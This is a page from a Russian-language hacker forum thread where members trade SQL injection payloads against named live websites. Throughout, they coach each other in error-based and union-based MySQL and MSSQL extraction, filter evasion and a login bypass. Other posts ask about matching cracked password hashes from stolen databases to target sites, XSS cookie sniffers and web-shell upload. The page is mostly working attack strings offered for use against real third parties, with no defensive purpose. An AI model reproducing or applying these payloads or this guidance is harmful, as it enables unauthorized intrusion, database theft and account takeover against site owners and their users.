PDA

Просмотр полной версии : Ваши вопросы по уязвимостям.


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 [92] 93 94 95 96 97 98

infoseller
26.09.2013, 18:03
Инъекция в MSSQL, фильтрация всех спецсимволов - (),;`"':[]@ hex не помогает, подсказки есть?

Unknown
26.09.2013, 19:19
Always said:
http://np.com.ua/search.html?keywords=1'+order+by+2+--+
http://np.com.ua/search.html?keywords=1'+union+SELECT+1,2+--+
Как быть?


Используется несколько запросов с одним и тем же параметром


Code:
Input->get('keywords') ) {
/* Входные данные не фильтруются должным образом--->*/ $title = $this->Input->get('keywords');
} else if ( $this->Input->post('keywords') ) {
/* Въодные данные не фильтруются должным образом(пост)--->*/ $title = $this->Input->post('keywords');
}

$total = 0;
/* first inject ---->>*/ $db = $this->Database->execute(" SELECT id,pid,title,short_comment FROM tl_msm_catalog_item WHERE title LIKE '%". $title ."%' OR short_comment LIKE '%". $title ."%' ");
$total += $db->numRows;

$array = array();
while ( $db->next() ) {

$view = str_replace("", "", $db->short_comment);
$view = str_replace("", "", $view);
$array[] = array(
'title' => $db->title,
'href' => $this->generateFrontendUrl('','thermal-aid/ccategory/'.$db->pid.'/product/'.$db->id.'/'.$this->setTranslite($db->title)),
'short' => $view,
);
}

/* second inject ---->>*/ $db32 = $this->Database->execute(" SELECT id,pid,title FROM tl_msm_catalog WHERE title LIKE '%". $title ."%' ");
$total += $db32->numRows;

while ( $db32->next() ) {

$array[] = array(
'title' => $db32->title,
'href' => $this->generateFrontendUrl('','thermal-aid/category/'.$db32->pid.'/scategory/'.$db32->id)
);
}

/* another one ----->>*/ $db1 = $this->Database->execute(" SELECT id,pid,title,short_about FROM tl_msm_mclass_file WHERE title LIKE '%". $title ."%' OR short_about LIKE '%". $title ."%' ");
$total += $db1->numRows;



Code:
/* system/libraries/Input.php */

public function get($strKey, $blnDecodeEntities=false)
{
$strCacheKey = $blnDecodeEntities ? 'getDecoded' : 'getEncoded';

if (!isset($this->arrCache[$strCacheKey][$strKey]))
{
$varValue = $_GET[$strKey];

if (is_null($varValue))
{
return $varValue;
}

$varValue = $this->stripSlashes($varValue);
$varValue = $this->decodeEntities($varValue);
$varValue = $this->xssClean($varValue, true);
$varValue = $this->stripTags($varValue);

if (!$blnDecodeEntities)
{
$varValue = $this->encodeSpecialChars($varValue);
}

$this->arrCache[$strCacheKey][$strKey] = $varValue;
}

return $this->arrCache[$strCacheKey][$strKey];
}

/**
* Return a $_POST parameter
* @param string
* @param boolean
* @return mixed
*/
public function post($strKey, $blnDecodeEntities=false)
{
$strCacheKey = $blnDecodeEntities ? 'postDecoded' : 'postEncoded';

if (!isset($this->arrCache[$strCacheKey][$strKey]))
{
$varValue = $this->findPost($strKey);

if (is_null($varValue))
{
return $varValue;
}

$varValue = $this->stripSlashes($varValue);
$varValue = $this->decodeEntities($varValue);
$varValue = $this->xssClean($varValue, true);
$varValue = $this->stripTags($varValue);

if (!$blnDecodeEntities)
{
$varValue = $this->encodeSpecialChars($varValue);
}

$this->arrCache[$strCacheKey][$strKey] = $varValue;
}

return $this->arrCache[$strCacheKey][$strKey];
}

protected function stripSlashes($varValue)
{
if (is_null($varValue) || $varValue == '')
{
return $varValue;
}

// Recursively clean arrays
if (is_array($varValue))
{
foreach ($varValue as $k=>$v)
{
$varValue[$k] = $this->stripSlashes($v);
}

return $varValue;
}

if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc())
{
$varValue = stripslashes($varValue);
}

return $varValue;
}

protected function decodeEntities($varValue)
{
if (is_null($varValue) || $varValue == '')
{
return $varValue;
}

// Recursively clean arrays
if (is_array($varValue))
{
foreach ($varValue as $k=>$v)
{
$varValue[$k] = $this->decodeEntities($v);
}

return $varValue;
}

// Preserve basic entities
$varValue = $this->preserveBasicEntities($varValue);
$varValue = html_entity_decode($varValue, ENT_COMPAT, $GLOBALS['TL_CONFIG']['characterSet']);

return $varValue;
}

protected function stripTags($varValue, $strAllowedTags='')
{
if (is_null($varValue) || $varValue == '')
{
return $varValue;
}

// Recursively clean arrays
if (is_array($varValue))
{
foreach ($varValue as $k=>$v)
{
$varValue[$k] = $this->stripTags($v, $strAllowedTags);
}

return $varValue;
}

$varValue = str_replace(array(''), array('<!--', '<![', '-->'), $varValue);
$varValue = strip_tags($varValue, $strAllowedTags);
$varValue = str_replace(array('<!--', '<![', '-->'), array(''), $varValue);

return $varValue;
}

protected function xssClean($varValue, $blnStrictMode=false)
{
if (is_null($varValue) || $varValue == '')
{
return $varValue;
}

// Recursively clean arrays
if (is_array($varValue))
{
foreach ($varValue as $k=>$v)
{
$varValue[$k] = $this->xssClean($v);
}

return $varValue;
}

// Return if var is not a string
if (is_bool($varValue) || is_null($varValue) || is_numeric($varValue))
{
return $varValue;
}

// Validate standard character entites and UTF16 two byte encoding
$varValue = preg_replace('/(&#*\w+)[\x00-\x20]+;/i', '$1;', $varValue);
$varValue = preg_replace('/(&#x*)([0-9a-f]+);/i', '$1$2;', $varValue);

// Remove carriage returns
$varValue = preg_replace('/\r+/', '', $varValue);

// Replace unicode entities
$varValue = utf8_decode_entities($varValue);

// Remove NULL characters
$varValue = preg_replace('/\0+/', '', $varValue);
$varValue = preg_replace('/(\\\\0)+/', '', $varValue);

$arrKeywords = array
(
'/\bj\s*a\s*v\s*a\s*s\s*c\s*r\s*i\s*p\s*t\b/is', // javascript
'/\bv\s*b\s*s\s*c\s*r\s*i\s*p\s*t\b/is', // vbscript
'/\bv\s*b\s*s\s*c\s*r\s*p\s*t\b/is', // vbscrpt
'/\bs\s*c\s*r\s*i\s*p\s*t\b/is', //script
'/\ba\s*p\s*p\s*l\s*e\s*t\b/is', // applet
'/\ba\s*l\s*e\s*r\s*t\b/is', // alert
'/\bd\s*o\s*c\s*u\s*m\s*e\s*n\s*t\b/is', // document
'/\bw\s*r\s*i\s*t\s*e\b/is', // write
'/\bc\s*o\s*o\s*k\s*i\s*e\b/is', // cookie
'/\bw\s*i\s*n\s*d\s*o\s*w\b/is' // window
);

// Compact exploded keywords like "j a v a s c r i p t"
foreach ($arrKeywords as $strKeyword)
{
$arrMatches = array();
preg_match_all($strKeyword, $varValue, $arrMatches);

foreach ($arrMatches[0] as $strMatch)
{
$varValue = str_replace($strMatch, preg_replace('/\s*/', '', $strMatch), $varValue);
}
}

$arrRegexp[] = '/]*[^a-z](]*>/is';
$arrRegexp[] = '/]*[^a-z]document\.cookie[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]vbscri?pt\s*:[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]expression\s*\([^>]*>/is';

// Also remove event handlers and JavaScript in strict mode
if ($blnStrictMode)
{
$arrRegexp[] = '/vbscri?pt\s*:/is';
$arrRegexp[] = '/javascript\s*:/is';
$arrRegexp[] = '/]*[^a-z]alert\s*\([^>]*>/is';
$arrRegexp[] = '/]*[^a-z]javascript\s*:[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]window\.[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]document\.[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onabort\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onblur\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onchange\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onclick\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onerror\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onfocus\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onkeypress\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onkeydown\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onkeyup\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onload\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onmouseover\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onmouseup\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onmousedown\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onmouseout\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onreset\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onselect\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onsubmit\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onunload\s*=[^>]*>/is';
$arrRegexp[] = '/]*[^a-z]onresize\s*=[^>]*>/is';
}

return preg_replace($arrRegexp, '', $varValue);
}

protected function encodeSpecialChars($varValue)
{
if (is_null($varValue) || $varValue == '')
{
return $varValue;
}

// Recursively clean arrays
if (is_array($varValue))
{
foreach ($varValue as $k=>$v)
{
$varValue[$k] = $this->encodeSpecialChars($v);
}

return $varValue;
}

$arrSearch = array('#', '', '(', ')', '\\', '=');
/* replacing (, ), backslash, etc ------>> */ $arrReplace = array('#', '', '(', ')', '\', '=');

return str_replace($arrSearch, $arrReplace, $varValue);
}

Как наглядно показано, функция stripslashes используется весьма своевременно, что позволяет игнорировать включенный magic_quotes http://np.com.ua/phpinfo.php

Но, в свою очередь, происходит реплейс скобок, что не позволяет нам должным образом конструировать запрос


Code:
public function execute()
{
$arrParams = func_get_args();

if (is_array($arrParams[0]))
{
$arrParams = array_values($arrParams[0]);
}

$this->replaceWildcards($arrParams);
$strKey = md5($this->strQuery);

// Try to load the result from cache
if (isset(self::$arrCache[$strKey]) && !self::$arrCache[$strKey]->isModified)
{
return self::$arrCache[$strKey]->reset();
}

$objResult = $this->query();

// Cache the result objects
if ($objResult instanceof Database_Result)
{
self::$arrCache[$strKey] = $objResult;
}

return $objResult;
}

public function query($strQuery='')
{
if (!empty($strQuery))
{
$this->strQuery = $strQuery;
}

// Make sure there is a query string
if ($this->strQuery == '')
{
throw new Exception('Empty query string');
}

// Execute the query
/* Наш эксепшн ----->> */ if (($this->resResult = $this->execute_query()) == false)
{
throw new Exception(sprintf('Query error: %s (%s)', $this->error, $this->strQuery));
}

// No result set available
if (!is_resource($this->resResult) && !is_object($this->resResult))
{
$this->debugQuery();
return $this;
}

// Instantiate a result object
$strClass = DB_DRIVER . '_Result';
$objResult = new $strClass($this->resResult, $this->strQuery);
$this->debugQuery($objResult);

return $objResult;
}

Раскручивание еррор/блайнд/тайм байсед весьма огранничеено, учитывая что скобкам наступает фаталити. А классика обрывается из-за нескольких запросов. Чтобы найти выход из этой ситуации, придется подумать, либо написать мне в пм


infoseller said:
Инъекция в MSSQL, фильтрация всех спецсимволов - (),;`"':[]@ hex не помогает, подсказки есть?


На каком уровне идет фильтрация?

RedX
26.09.2013, 19:33
Давненько нащупал, но так и не разобрал.


http://www.belarusinfo.by/ru/poisk/1'))


Переменная заносится в массив по пробелам, используется в минимум трех запросах, но ничего конкретного не смог подобрать.

Грабитель
26.09.2013, 19:47
RedX said:
Давненько нащупал, но так и не разобрал.
Переменная заносится в массив по пробелам, используется в минимум трех запросах, но ничего конкретного не смог подобрать.


http://www.belarusinfo.by/ru/poisk/1'and(select*from(select(name_const(version(),1)), name_const(version(),1))a)and'

Duplicate column name '5.0.77'

infoseller
27.09.2013, 09:32
wacky said:
На каком уровне идет фильтрация?


На уровне вэбсервера

zloy_fantom
28.09.2013, 01:57
Прошу помощи.

Скачал у одного перца несколько баз данных, набрутил пару тысяч хэшей.

Вроде неплохо, но что дальше?

Знаю, что базы не его, он их где-то сдампил. Знаю пару десятков сайтов, которые его интересуют. Т.е., базы наверняка с них, но какая откуда - непонятно, да и старые они - от 2-х до 4-х лет. Решил подбирать пару логин-пароль по тем пользователям, которых набрутил. Но 2 тысячи на 2 десятка сайтов... Я повешусь быстрее. Подскажите софт для такой операции.

Спасибо

Unknowhacker
28.09.2013, 19:57
Уже как я над ними не изощрялся, не могу вывести -((


Code:
http://www.anuch.com/moto.php?strana=21&roku=-2005+union+select+version%28%29+--+&&id=3103
http://www.hondaalpina.com.br/moto.php?id=-3+un%0Bion+sel%0Bect+1,2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,20,21,22+--+
http://www.motovendo.cl/motovendo/datos-moto.php?view=-2319+order+by+1+--+
http://jpland.ru/mototehnika.php?category_id=09999999+union+select+ 1,2,3,4,5,6,7,8,9,10+--+
http://cluboe3.orf.at/index.php?pageID=201+And+1=0%27+order+by+1+--+
http://adorama.gr/e-shop/Products.php?lang=en&CatID=-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
http://www.ivrus.biz/showcat.php?id=-10%27%29%27+union+select+1,2,3+--+

Fake22
28.09.2013, 21:02
Здравствуйте! Я новичок в этих делах.. и хотел бы научится взламывать сайты... я плохого ни чего ни хочу. Просто хочу знать как это делается... Я начну создавать сайты в будущем и пока я не пойму как взламывают сайт то я и не смогу его защитить... просто это мое мнение! можно по шаговую статью о том что мне надо понять и где все это про тестировать? Заранее спасибо...

Inoms
28.09.2013, 21:20
Unknowhacker said:
Уже как я над ними не изощрялся, не могу вывести -((

Code:
http://www.anuch.com/moto.php?strana=21&roku=-2005+union+select+version%28%29+--+&&id=3103
http://www.hondaalpina.com.br/moto.php?id=-3+un%0Bion+sel%0Bect+1,2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,20,21,22+--+
http://www.motovendo.cl/motovendo/datos-moto.php?view=-2319+order+by+1+--+
http://jpland.ru/mototehnika.php?category_id=09999999+union+select+ 1,2,3,4,5,6,7,8,9,10+--+
http://cluboe3.orf.at/index.php?pageID=201+And+1=0%27+order+by+1+--+
http://adorama.gr/e-shop/Products.php?lang=en&CatID=-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
http://www.ivrus.biz/showcat.php?id=-10%27%29%27+union+select+1,2,3+--+





Code:
http://www.anuch.com/view.php?id=40350000%27%20union%20all%20select%209 99,user%28%29,999,999,version%28%29,6999,999+--+&&strana=27&&roku=2011.09
http://www.motovendo.cl/motovendo/datos-moto.php?view=3%27-%271%27,1,1,1,1%20and%20%28extractvalue%281,concat %280x3b,user%28%29%29%29%29%29+--+
http://adorama.gr/e-shop/Products.php?lang=en&CatID=-10 or(extractvalue(1,concat(0x3b,user()))) --
http://jpland.ru/mototehnika.php?id=160%27%20UNION%20SELECT%20user% 28%29,2,3,4,version%28%29,6,7,8,9,10+--+
http://cluboe3.orf.at/index.php?pageID=201%27%20and%20extractvalue%281,c oncat%280x3b,user%28%29%29%29%20and%20%27
http://www.hondaalpina.com.br/moto.php?id=3911/**//*!uNiOn*//**//*!SELECT*/1/*!,*/2/*!,*/user%28%29/*!,*/4/*!,*/5/*!,*/6/*!,*/7/*!,*/8/*!,*/9/*!,*/10/*!,*/11/*!,*/12/*!,*/13/*!,*/14/*!,*/15/*!,*/16/*!,*/17/*!,*/18/*!,*/19/*!,*/20/*!,*/21/*!,*/22+--+
http://www.ivrus.biz/photoarchive.php?id=14%20UNION%20SELECT%201,2,3,us er%28%29,version%28%29,6,7

Sanic1977
29.09.2013, 15:26
Помогите раскрутить такую скулю на mssql

id=15&type='+convert(int,@@version)+'

выводит:

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

Как дальше крутитЬ?

Unknown
29.09.2013, 15:47
Sanic1977 said:
Помогите раскрутить такую скулю на mssql
id=15&type='+convert(int,@@version)+'
выводит:
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.
Как дальше крутитЬ?


https://rdot.org/forum/showthread.php?t=826

Always
30.09.2013, 00:22
Что может означать такая ошибка?

выпадает в поле логин - %5C

Warning: PDOStatement::execute(): SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '5ebe553e01799a927b1d045924bbd4fd' AND status='ok'' at line 1 in /var/www/site/data/www/site.ru/application/class/Member.php on line 390

Sanic1977
30.09.2013, 00:29
'%2bconvert(int,(SELECT+TOP+1+TABLE_NAME+FROM+INFO RMATION_SCHEMA.TABLES))%2b'

выдает ошибку

Subqueries are not allowed in this context. Only scalar expressions are allowed.

и как его обойти?

Unknown
30.09.2013, 10:05
Sanic1977 said:
'%2bconvert(int,(SELECT+TOP+1+TABLE_NAME+FROM+INFO RMATION_SCHEMA.TABLES))%2b'
выдает ошибку
Subqueries are not allowed in this context. Only scalar expressions are allowed.
и как его обойти?


Нельзя использовать в качестве параметра запрос.

Может сделать прощще:

1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA .TABLES)

Massay
30.09.2013, 14:25
Добрый день, скажите пожалуйста каким сниффером вы пользуетесь для XSS

Unknowhacker
01.10.2013, 19:47
В общем возникли некие трудности в получении данных, фильтра вроде бы нет, но не могу получить.


Code:
www.ukok-tour.ru/index.php?t=1+union+select+1,2,3+--+
http://www.isotropix.com/index.php?to=products&productid=99%27+union+select+1,2,3,4,5,6,7,8+--+&view=trynow
http://www.hmn.ru/index.php?index=14&value=12+order+by+1+--+

Always
01.10.2013, 23:11
Unknowhacker said:
В общем возникли некие трудности в получении данных, фильтра вроде бы нет, но не могу получить.

Code:
www.ukok-tour.ru/index.php?t=1+union+select+1,2,3+--+
http://www.isotropix.com/index.php?to=products&productid=99%27+union+select+1,2,3,4,5,6,7,8+--+&view=trynow
http://www.hmn.ru/index.php?index=14&value=12+order+by+1+--+



http://www.ukok-tour.ru/index.php?t=1'and(select+1+from(select+count(*),co ncat((select+table_name+from+information_schema.ta bles+limit+1,1),floor(rand(0)*2))x+from+informatio n_schema.tables+group+by+x)a)='and+--+

Ravenous
02.10.2013, 01:10
Unknowhacker said:
В общем возникли некие трудности в получении данных, фильтра вроде бы нет, но не могу получить.

Code:
www.ukok-tour.ru/index.php?t=1+union+select+1,2,3+--+
http://www.isotropix.com/index.php?to=products&productid=99%27+union+select+1,2,3,4,5,6,7,8+--+&view=trynow
http://www.hmn.ru/index.php?index=14&value=12+order+by+1+--+





Code:
http://www.isotropix.com/index.php?to=products&productid=991 AND extractvalue(1,concat(0x3a,(select version() limit 0,1)))

в третьем случае нет инъекции

WallHack
02.10.2013, 11:02
Massay said:
Добрый день, скажите пожалуйста каким сниффером вы пользуетесь для XSS


http://hpc.name/sniffer/

WallHack
02.10.2013, 17:18
Нашёл на этом сайте _http://agixo.ru/ уязвимость в куках прохожу по ссылке http://agixo.ru/1-reg.html реферер админ смотрим куки referer 1

запускаем оперу меняем 1 на к перехожу по ссылке уже такой http://agixo.ru/reg.html

смотрим Ник, ID, Предустановленый реф-бек: % все исчезла.

Что можно сделать с этой уязвимостью можно ли провести sql инвекцию я с уязвимостями в куках ещё не сталкивался

Evil_Genius
02.10.2013, 17:46
Вобщем делаю sql запрос:

site.ru/?file=2+and(select+1+from(select+count(*),concat(( select+(select+(select+concat(0x7e,0x27,s_Users.Id ,0x27,0x7e)+from+`base_1`.s_Users+Order+by+Id+limi t+0,1)+)+from+`information_schema`.tables+limit+0, 1),floor(rand(0)*2))x+from+`information_schema`.ta bles+group+by+x)a)+and+1=1

На что мне благополучно выдает Duplicate entry '~'1'~1' for key 'group_key'. т.е выдает нужны резульат.

Делаем еще один запрос:

site.ru/?file=2+and(select+1+from(select+count(*),concat(( select+(select+(select+concat(0x7e,0x27,s_Users.Em ail,0x27,0x7e)+from+`base_1`.s_Users+Order+by+Id+l imit+0,1)+)+from+`information_schema`.tables+limit +0,1),floor(rand(0)*2))x+from+`information_schema` .tables+group+by+x)a)+and+1=1

На что мне выдает: Subquery returns more than 1 row - чертов лимин(((

Подскажите, как выполнить второй запрос - чтобы избежать лимита.

Ravenous
02.10.2013, 18:39
Evil_Genius said:
Вобщем делаю sql запрос:
site.ru/?file=2+and(select+1+from(select+count(*),concat(( select+(select+(select+concat(0x7e,0x27,s_Users.Id ,0x27,0x7e)+from+`base_1`.s_Users+Order+by+Id+limi t+0,1)+)+from+`information_schema`.tables+limit+0, 1),floor(rand(0)*2))x+from+`information_schema`.ta bles+group+by+x)a)+and+1=1
На что мне благополучно выдает Duplicate entry '~'1'~1' for key 'group_key'. т.е выдает нужны резульат.
Делаем еще один запрос:
site.ru/?file=2+and(select+1+from(select+count(*),concat(( select+(select+(select+concat(0x7e,0x27,s_Users.Em ail,0x27,0x7e)+from+`base_1`.s_Users+Order+by+Id+l imit+0,1)+)+from+`information_schema`.tables+limit +0,1),floor(rand(0)*2))x+from+`information_schema` .tables+group+by+x)a)+and+1=1
На что мне выдает: Subquery returns more than 1 row - чертов лимин(((
Подскажите, как выполнить второй запрос - чтобы избежать лимита.


У тебя лишнее


Code:
+from+`information_schema`.tables+limit+0,1

Возьми шаблон, и переделай под свой запрос


Code:
(select 1 from(select count(*),concat((select table_name from information_schema.tables order by schema_name limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

?file=2+and(select 1 from(select count(*),concat((select table_name from information_schema.tables order by schema_name limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and 1=1

p.s. результат подзапроса должен быть - одна строка.

zombak18
03.10.2013, 17:09
В общем есть сайт, на нем login.php

При пост запросе:

Head

Host: сайт.нет

Content-Type: application/x-www-form-urlencoded

post

login=1&password=%5c

Выдает следующее

http://clip.corp.mail.ru/clip/m517/1380733427-clip-36kb-a498Gkm5zAjy.png

Раскрутить скулю не поможете?

Не знаю что дальше делать)

XAMEHA
03.10.2013, 17:41
zombak18 said:
В общем есть сайт, на нем login.php
При пост запросе:
Head
Host: сайт.нет
Content-Type: application/x-www-form-urlencoded
post
login=1&password=%5c
Выдает следующее
http://clip.corp.mail.ru/clip/m517/1380733427-clip-36kb-a498Gkm5zAjy.png
Раскрутить скулю не поможете?
Не знаю что дальше делать)


Если кавычки фильтруются и в имени то-же самое, то тогда так:


Code:
Имя пользователя: \
Пароль: union select .... -- 1

zombak18
03.10.2013, 17:50
XAMEHA said:
Если кавычки фильтруются и в имени то-же самое, то тогда так:

Code:
Имя пользователя: \
Пароль: union select .... -- 1



При таком запросе ничего не происходит(

login=\&password=union select .... -- 1

/а во!

вставил в поля

http://clip.corp.mail.ru/clip/m517/1380804697-clip-26kb-GeYxFtQvFSSW.png

и что дальше?(

Melfis
03.10.2013, 19:01
zombak18 said:
При таком запросе ничего не происходит(
login=\&password=union select .... -- 1
/а во!
вставил в поля
http://clip.corp.mail.ru/clip/m517/1380804697-clip-26kb-GeYxFtQvFSSW.png
и что дальше?(


Почитать фак. Но если уж ооочень не хочется, то вместо точек, тебе надо было подставить свой запрос, а точнее начать выяснять количество колонок в таблице.

Inoms
03.10.2013, 19:11
zombak18 said:
login=\&password=union select .... -- 1


login=admin' -- t&password=1

Попробуйте.

zombak18
03.10.2013, 19:18
Inoms said:
login=admin' -- t&password=1
Попробуйте.


Нет, так не хочет.. походу сама дыра в обработке пароля, а не в логине


Melfis said:
Почитать фак. Но если уж ооочень не хочется, то вместо точек, тебе надо было подставить свой запрос, а точнее начать выяснять количество колонок в таблице.


Например?

Inoms
03.10.2013, 19:23
Нет, это потому что на конце логина дописался слеш ,я его не заметил, такого пользователя естественно нет в базе. Хотя ещё не совсем понятно, как там с ковычками обстоят дела

login=admin&password=' or 1=1 -- t

Вполне может сработать.

zombak18
03.10.2013, 19:31
Inoms said:
Нет, это потому что на конце логина дописался слеш ,я его не заметил, такого пользователя естественно нет в базе. Хотя ещё не совсем понятно, как там с ковычками обстоят дела
login=admin&password=' or 1=1 -- t
Вполне может сработать.


такой игнорит(

а просто на проверку символов

'. %5c' не игнорит..

всё с %5c походу ошибку кидает

Inoms
03.10.2013, 19:56
Если на \, реагирует то весь участков, вплоть до пароля можно выставить как логин.

login=admin\&password= or extractvalue(1,concat(0x3b, user())) -- t

zombak18
03.10.2013, 19:58
Inoms said:
Если на \, реагирует то весь участков, вплоть до пароля можно выставить как логин.
login=admin\&password= or extractvalue(1,concat(0x3b, user())) -- t


уже ближе..

что то еще нужно(

http://clip.corp.mail.ru/clip/m517/1380812270-clip-20kb-fvNTIqJO3gz2.png

Inoms
03.10.2013, 20:05
Если и прокатит, то можно с юнионом поиграться, если нет -

login=admin\&password= or(select 11 from information_schema.tables group by concat(user(),0x3b,version(),floor(rand(0)*2)) having count(*)) -- t

zombak18
03.10.2013, 20:08
Inoms said:
Если и прокатит, то можно с юнионом поиграться, если нет -
login=admin\&password= or(select 11 from information_schema.tables group by concat(user(),0x3b,version(),floor(rand(0)*2)) having count(*)) -- t


http://clip.corp.mail.ru/clip/m517/1380812874-clip-30kb-elmpn2z8VHNI.png

Другая ошибка, но что то не хочет тоже

Melfis
03.10.2013, 20:10
zombak18 said:
уже ближе..
что то еще нужно(
http://clip.corp.mail.ru/clip/m517/1380812270-clip-20kb-fvNTIqJO3gz2.png


Так вот ты через ошибку вывел нужный тебе результат то: root@192.168.8.64

zombak18
03.10.2013, 20:13
Melfis said:
Так вот ты через ошибку вывел нужный тебе результат то:
root@192.168.8.64


Зачем мне логин и айпи с локалхоста)

Нужно либо получить название/пароли из бд

либо конфиг с php файла на самом сайте

YaBtr
03.10.2013, 20:32
zombak18 said:
Зачем мне логин и айпи с локалхоста)
Нужно либо получить название/пароли из бд
либо конфиг с php файла на самом сайте


За тем,что все у вас на виду!

Пробуйте:


select+count(*),concat((select +table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2)) x from information_schema.tables group by x

zombak18
03.10.2013, 20:33
YaBtr said:
За тем,что все у вас на виду!
Пробуйте:


http://clip.corp.mail.ru/clip/m517/1380814417-clip-48kb-f6fvpES7LC1J.png

неа(

ах да либо запрос на загрузку шелла тоже вариант)

Melfis
03.10.2013, 20:39
zombak18 said:
Зачем мне логин и айпи с локалхоста)
Нужно либо получить название/пароли из бд
либо конфиг с php файла на самом сайте


Потому что ты неправильно используешь error base sqlinj

http://clip.corp.mail.ru/clip/m517/1380812270-clip-20kb-fvNTIqJO3gz2.png

Вот ты использовал и выбрал user(), под которым скрипт получает доступ в базу, тебе он и отобразился. Причём юзер рутовый. Вместо user() и подставляй свои операции по выборке из базы.


zombak18 said:
http://clip.corp.mail.ru/clip/m517/1380814417-clip-48kb-f6fvpES7LC1J.png
неа(
ах да либо запрос на загрузку шелла тоже вариант)


Не вариант, потому что чтобы прогрузить шелл - надо чтобы кавычки не фильтровались. Ты хотя бы читай и анализируй что ты делаешь. В примере, что тебе дали у тебя стоит после select +, который не преобразовался в пробел, замени его.

zombak18
03.10.2013, 20:49
Melfis said:
Потому что ты неправильно используешь error base sqlinj
http://clip.corp.mail.ru/clip/m517/1380812270-clip-20kb-fvNTIqJO3gz2.png
Вот ты использовал и выбрал user(), под которым скрипт получает доступ в базу, тебе он и отобразился. Причём юзер рутовый. Вместо user() и подставляй свои операции по выборке из базы.
Не вариант, потому что чтобы прогрузить шелл - надо чтобы кавычки не фильтровались. Ты хотя бы читай и анализируй что ты делаешь. В примере, что тебе дали у тебя стоит после select
+
, который не преобразовался в пробел, замени его.


Эх да ' фильтрует(

Да с пробелом и без пробовал.. всё равно та же ошибка

http://clip.corp.mail.ru/clip/m517/1380815456-clip-22kb-sVmu65bUCDSD.png

/название бд достал card

Inoms
03.10.2013, 21:10
zombak18 said:
http://clip.corp.mail.ru/clip/m517/1380814417-clip-48kb-f6fvpES7LC1J.png
неа(
ах да либо запрос на загрузку шелла тоже вариант)


Всё, что идёт перед select+count.. должно быть или после юниона, или в скобках после какого-либо оператора(or,and т.д) и желательно с row().

Как уже говорили, апострофы фильтруются, без них и без полного пути к каталогу с сайтом, шелл не реально залить)

zombak18
03.10.2013, 21:15
Inoms said:
Всё, что идёт после select+count.. должно быть или после юниона, или в скобках после какого-либо оператора(or,and т.д) и желательно с row().
Как уже говорили, апострофы фильтруются, без них и без полного пути к каталогу с сайтом, шелл не реально залить)


лс глянь.. сайтик кинул

у меня уже не варит

при


union select+count(*),concat((select+table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2)) x from information_schema.tables group by x


пишет http://clip.corp.mail.ru/clip/m517/1380818072-clip-14kb-kB32n3adZuT0.jpg

wx0
03.10.2013, 21:59
Обычно эта ошибка от неправильного запроса, нужно для начала найти точку опорную без ошибки и постепенно менять запрос. Есть разные тулзы для такого, но если надо в ручную, могу помочь подобрать запрос если это будет возможно. Если что в лс

Inoms
03.10.2013, 22:03
Юнион там без полезен, он ничего не отображает, работает только по ошибкам всё.

ЗЫ: union select+1,2,3,4,count(*),concat((select+table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2)) x from information_schema.tables group by x -- t

zombak18
03.10.2013, 22:39
Inoms said:
Юнион там без полезен, он ничего не отображает, работает только по ошибкам всё.
ЗЫ: union select+1,2,3,4,count(*),concat((select+table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2)) x from information_schema.tables group by x -- t


http://clip.corp.mail.ru/clip/m517/1380821939-clip-31kb-HhQVnBfN4IXY.jpg

YaBtr
03.10.2013, 22:55
zombak18 said:
http://clip.corp.mail.ru/clip/m517/1380821939-clip-31kb-HhQVnBfN4IXY.jpg


